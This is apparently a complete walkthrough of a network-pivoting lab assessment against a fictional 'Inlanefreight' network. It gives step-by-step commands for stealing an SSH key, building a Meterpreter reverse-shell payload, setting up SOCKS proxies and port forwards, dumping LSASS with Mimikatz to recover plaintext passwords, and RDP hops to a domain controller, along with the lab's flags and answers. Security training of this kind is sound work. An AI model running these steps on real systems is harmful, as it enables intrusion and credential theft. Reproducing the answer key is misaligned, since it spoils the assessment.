🏆Complete Skills Assessment

Complete Walkthrough with Troubleshooting

Initial Access & Enumeration

Question 1: Find credentials for pivoting

Task: Find credentials in user directory for network pivoting.

Solution:

1. Access web shell on target website

2. Navigate to /home/ directory:

cd /home/
ls
# Shows: administrator, webadmin

1. Check webadmin directory:

cd webadmin
ls
# Shows: for-admin-eyes-only, id_rsa

1. Verify SSH key:

file id_rsa
# Output: id_rsa: OpenSSH private key

Answer: webadmin

---

Question 2: Extract credentials

Task: Submit credentials found in user's home directory (Format: user:password)

Solution:

cat for-admin-eyes-only

Output:

# note to self,
in order to reach server01 or other servers in the subnet from here you have to us the user account:mlefay
with a password of :
Plain Human work!

Answer: mlefay:Plain Human work!

---

Question 3: Internal network enumeration

Task: Discover another active host and submit its IP address.

Solution:

1. Extract SSH private key:

cat id_rsa
# Copy the entire private key content

1. Save to local file and set permissions:

nano id_rsa
chmod 600 id_rsa

1. SSH to target:

ssh -i id_rsa webadmin@TARGET_IP

1. Check network interfaces:

ip a
# Shows: inet 172.16.5.15/16

1. Ping sweep internal network:

for i in {1..254};do (ping -c 1 172.16.5.$i | grep "bytes from" &); done

Output:

64 bytes from 172.16.5.15: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 172.16.5.35: icmp_seq=1 ttl=128 time=0.771 ms

Answer: 172.16.5.35

---

Question 4: Pivot to discovered host

Task: Use gathered information to pivot to discovered host. Submit contents of C:\Flag.txt

Method A: SOCKS Proxy (Official Walkthrough)

Step 1: Generate Meterpreter Payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=9001 -f elf -o 99c0b43c4bec2bdc280741d8f3e40338.elf

Step 2: Transfer Payload

scp -i id_rsa 99c0b43c4bec2bdc280741d8f3e40338.elf webadmin@TARGET_IP:~/

Step 3: Set Up Handler

msfconsole -q
use exploit/multi/handler
set LHOST 0.0.0.0
set LPORT 9001
set PAYLOAD linux/x64/meterpreter/reverse_tcp
run

Step 4: Execute Payload

# SSH to target
ssh -i id_rsa webadmin@TARGET_IP

# Execute payload
chmod +x 99c0b43c4bec2bdc280741d8f3e40338.elf
./99c0b43c4bec2bdc280741d8f3e40338.elf

Step 5: Configure SOCKS Proxy

# Background meterpreter session
bg

# Set up SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set VERSION 4a
run

Step 6: Add Routes

# Return to meterpreter session
sessions -i 1
run autoroute -s 172.16.5.0/16

Step 7: Configure Proxychains (CRITICAL!)

⚠️ IMPORTANT: Match SOCKS versions!

Check MSF SOCKS version:

• If VERSION 4a → proxychains needs socks4

• If VERSION 5 → proxychains needs socks5

Edit /etc/proxychains.conf:

sudo nano /etc/proxychains.conf

# For VERSION 4a:
socks4  127.0.0.1 9050

# For VERSION 5:
socks5  127.0.0.1 9050

Step 8: Enumerate Target via SOCKS

proxychains nmap 172.16.5.35 -Pn -sT

Expected Output:

PORT     STATE SERVICE
22/tcp   open  ssh
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Step 9: RDP via Proxychains

proxychains xfreerdp /v:172.16.5.35 /u:mlefay /p:'Plain Human work!'

---

Method B: Port Forward (More Reliable)

Alternative Approach - Direct Port Forwarding

# After establishing meterpreter session and routes:
sessions -i 1
run autoroute -s 172.16.5.0/16

# Set up port forward
portfwd add -l 13389 -p 3389 -r 172.16.5.35
portfwd list
bg

# Connect directly (no proxychains needed)
xfreerdp /v:127.0.0.1:13389 /u:mlefay /p:'Plain Human work!'

---

Troubleshooting Common Issues

Issue 1: SOCKS Version Mismatch

Symptoms:

• proxychains timeout

• Connection refused errors

Solution: Match SOCKS versions in MSF and proxychains config:

# Check MSF SOCKS version
show options

# Edit proxychains accordingly
sudo nano /etc/proxychains.conf

Issue 2: Meterpreter Session Dies

Symptoms:

• "Meterpreter session closed. Reason: Died"

• Segmentation faults

Solutions:

1. Try different payload architectures:

# 32-bit payload
msfvenom -p linux/x86/meterpreter/reverse_tcp ...

# Shell payload (more stable)
msfvenom -p linux/x64/shell_reverse_tcp ...

1. Use port forward instead of SOCKS proxy

Issue 3: SOCKS Proxy Stops Immediately

Symptoms:

• "Starting the SOCKS proxy server"

• "Stopping the SOCKS proxy server" (immediately)

Solutions:

1. Check port conflicts:

netstat -tulpn | grep 9050

1. Use different SRVHOST:

set SRVHOST 127.0.0.1  # Instead of 0.0.0.0

1. Kill conflicting jobs:

jobs
kill 0  # Kill specific job

Issue 4: RDP Certificate Warnings

Expected behavior:

The above X.509 certificate could not be verified...
Do you trust the above certificate? (Y/T/N) Y

Action: Type Y to accept and continue

---

Flag Location

Once RDP connection is established:

1. Navigate to C:\ drive

2. Locate Flag.txt file

3. Open and read contents

Expected Flag Format: S1ngl3-Piv07-3@sy-Day

---

Question 5: Find vulnerable user with exposed credentials

Task: In previous pentests against Inlanefreight, they have a bad habit of utilizing accounts with services in a way that exposes the users credentials and the network as a whole. What user is vulnerable?

Solution: LSASS Memory Dump Analysis with Mimikatz

Step 1: Download Mimikatz on Kali

wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
unzip mimikatz_trunk.zip

Step 2: Transfer Mimikatz to Windows Target

1. Navigate to x64/ folder in extracted mimikatz

2. Using the existing RDP session to 172.16.5.35:

   • Copy mimikatz.exe from Kali

   • Paste into Windows Desktop or Documents folder

Step 3: Create LSASS Dump File

1. Right-click on taskbar → Select Task Manager

2. Run Task Manager as Administrator:

   • Click More details if in compact view

   • Go to Processes tab

   • Find Local Security Authority Process (lsass.exe)

   • Right-click on it → Create dump file

3. Note the dump location: C:\Users\mlefay\AppData\Local\Temp\lsass.DMP

Step 4: Analyze Dump with Mimikatz

1. Launch mimikatz.exe (double-click or run as administrator)

2. Load the minidump:

mimikatz # sekurlsa::minidump C:\Users\mlefay\AppData\Local\Temp\lsass.DMP

1. Extract logon passwords:

mimikatz # sekurlsa::LogonPasswords

Step 5: Identify Vulnerable User

Expected Output (relevant section):

Authentication Id : 0 ; 160843 (00000000:0002744b)
Session           : Service from 0
User Name         : vfrank
Domain            : INLANEFREIGHT
Logon Server      : ACADEMY-PIVOT-D
Logon Time        : 11/20/2022 10:09:13 AM
SID               : S-1-5-21-3858284412-1730064152-742000644-1103
        msv :
         [00000003] Primary
         * Username : vfrank
         * Domain   : INLANEFREIGHT
         * NTLM     : 2e16a00be74fa0bf862b4256d0347e83
         * SHA1     : b055c7614a5520ea0fc1184ac02c88096e447e0b
         * DPAPI    : 97ead6d940822b2c57b18885ffcc5fb4
        tspkg :
        wdigest :
         * Username : vfrank
         * Domain   : INLANEFREIGHT
         * Password : (null)
        kerberos :
         * Username : vfrank
         * Domain   : INLANEFREIGHT.LOCAL
         * Password : Imply wet Unmasked!
        ssp :
        credman :

Analysis:

• User vfrank has plaintext password stored in Kerberos section

• Password: Imply wet Unmasked!

• This indicates poor service account management practices

Answer: vfrank

Alternative Method: Using Task Manager Memory Dump

If mimikatz fails to run:

1. Create dump as described above

2. Transfer dump file back to Kali

3. Use pypykatz or other LSASS analysis tools:

pypykatz lsa minidump lsass.DMP

Security Implications

• Service Account Misuse: User account likely used for service authentication

• Credential Exposure: Plaintext passwords stored in LSASS memory

• Attack Path: Credentials can be used for lateral movement

• Remediation: Use managed service accounts (MSA/gMSA) instead of user accounts

---

Question 6: Pivot to another network using discovered credentials

Task: For your next hop enumerate the networks and then utilize a common remote access solution to pivot. Submit the C:\Flag.txt located on the workstation.

Solution: Network Enumeration & RDP Pivot

Step 1: Network Enumeration from Windows Host

Using the existing RDP session to 172.16.5.35, enumerate the next network segment:

PowerShell Ping Sweep:

1..254 | % {"172.16.6.$($_): $(Test-Connection -count 1 -comp 172.16.6.$($_) -quiet)"}

Expected Output:

172.16.6.1: False
172.16.6.2: False
...
172.16.6.23: False
172.16.6.24: False
172.16.6.25: True
172.16.6.26: False
...

Result: Host 172.16.6.25 is alive

Step 2: RDP to Discovered Host

Using credentials discovered in Question 5:

• Username: vfrank

• Password: Imply wet Unmasked!

Method 1: From Windows RDP session (172.16.5.35):

1. Open Run dialog (Windows + R)

2. Type: mstsc

3. Enter connection details:

   • Computer: 172.16.6.25

   • Username: vfrank

   • Password: Imply wet Unmasked!

Method 2: Via Kali through existing pivot:

# Add route for new network
sessions -i 2
run autoroute -s 172.16.6.0/24

# Port forward for RDP
portfwd add -l 23389 -p 3389 -r 172.16.6.25
bg

# Connect from Kali
xfreerdp /v:127.0.0.1:23389 /u:vfrank /p:'Imply wet Unmasked!'

Step 3: Retrieve Flag

Once connected to 172.16.6.25:

1. Open Command Prompt (cmd)

2. Read flag file:

type C:\Flag.txt

Expected Output:

N3tw0rk-H0pp1ng-f0R-FuN

Answer: N3tw0rk-H0pp1ng-f0R-FuN

---

Question 7: Access Domain Controller flag

Task: Submit the contents of C:\Flag.txt located on the Domain Controller.

Solution: Network Share Access

Step 1: Access Network Share

Using the same RDP connection to 172.16.6.25 (vfrank user):

1. Open File Explorer (Windows + E)

2. Navigate to "This PC"

3. Look for mapped network drives

4. Double-click on "AutomateDCAdmin (Z:)" drive

Step 2: Retrieve Domain Controller Flag

1. Browse the Z: drive (AutomateDCAdmin share)

2. Locate Flag.txt file

3. Open or read the flag file

Alternative via Command Line:

# Change to network drive
Z:

# List contents
dir

# Read flag
type Flag.txt

Expected Output:

3nd-0xf-Th3-R@inbow!

Answer: 3nd-0xf-Th3-R@inbow!

Security Analysis - Question 7

• Network Share Misconfiguration: Domain Controller accessible via network share

• Privilege Escalation: User account has access to DC resources

• Poor Access Controls: Sensitive data accessible through mapped drives

• Attack Path: Compromised user account → Network share → Domain Controller access

---

Complete Skills Assessment Summary

Question	Task	Answer	Method
1	Find credentials directory	webadmin	Web shell enumeration
2	Extract credentials	mlefay:Plain Human work!	File contents analysis
3	Internal network discovery	172.16.5.35	Ping sweep
4	Pivot to discovered host	S1ngl3-Piv07-3@sy-Day	Meterpreter + RDP
5	Find vulnerable user	vfrank	LSASS analysis with Mimikatz
6	Pivot to next network	N3tw0rk-H0pp1ng-f0R-FuN	PowerShell enum + RDP
7	Access Domain Controller	3nd-0xf-Th3-R@inbow!	Network share access

Attack Path Overview

1. Web Shell (Initial Access)
   ↓
2. SSH Key Discovery (webadmin credentials)
   ↓
3. SSH Access → Network Enumeration (172.16.5.35)
   ↓
4. Meterpreter Payload → Pivoting Setup
   ↓
5. RDP Access (mlefay:Plain Human work!)
   ↓
6. LSASS Dump → Mimikatz Analysis (vfrank credentials)
   ↓
7. Network Enumeration → RDP Pivot (172.16.6.25)
   ↓
8. Network Share Access → Domain Controller

Security Recommendations

1. Web Application Security: Remove web shells, implement proper access controls

2. SSH Key Management: Secure private keys, implement key rotation

3. Network Segmentation: Implement proper VLAN separation

4. Service Account Hygiene: Use managed service accounts (MSA/gMSA)

5. LSASS Protection: Enable Credential Guard, LSA Protection

6. RDP Security: Implement NLA, disable RDP where not needed

7. Network Shares: Review and restrict domain controller access

8. Monitoring: Implement logging for pivoting activities and lateral movement

---

Key Takeaways

1. SOCKS Version Compatibility: Always match MSF SOCKS version with proxychains config

2. Port Forward vs SOCKS: Port forwarding is often more reliable than SOCKS proxy

3. Session Stability: Linux meterpreter payloads can be unstable; consider alternatives

4. Network Routes: Ensure autoroute is properly configured before attempting pivots

5. Troubleshooting Order:

   • Check session status

   • Verify routes

   • Confirm proxy/port forward status

   • Test simple connections first

Alternative Methods Summary

Method	Pros	Cons	Reliability
SOCKS Proxy	Protocol agnostic, multiple connections	Version conflicts, complex setup	Medium
Port Forward	Simple, direct, stable	One port at a time	High
SSH Tunneling	Built-in, no MSF needed	Requires SSH access	High

Recommendation: Start with port forward for single services, use SOCKS for multiple protocols.

---

Complete Command Reference

Payload Generation & Transfer

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=9001 -f elf -o payload.elf
scp -i id_rsa payload.elf webadmin@TARGET:~/

MSF Handler Setup

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 9001
run

Routing & Pivoting

# Autoroute
run autoroute -s 172.16.5.0/16
run autoroute -p

# SOCKS Proxy
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set VERSION 4a
run

# Port Forward
portfwd add -l 13389 -p 3389 -r 172.16.5.35
portfwd list

Target Connection

# Via SOCKS
proxychains xfreerdp /v:172.16.5.35 /u:mlefay /p:'Plain Human work!'

# Via Port Forward
xfreerdp /v:127.0.0.1:13389 /u:mlefay /p:'Plain Human work!'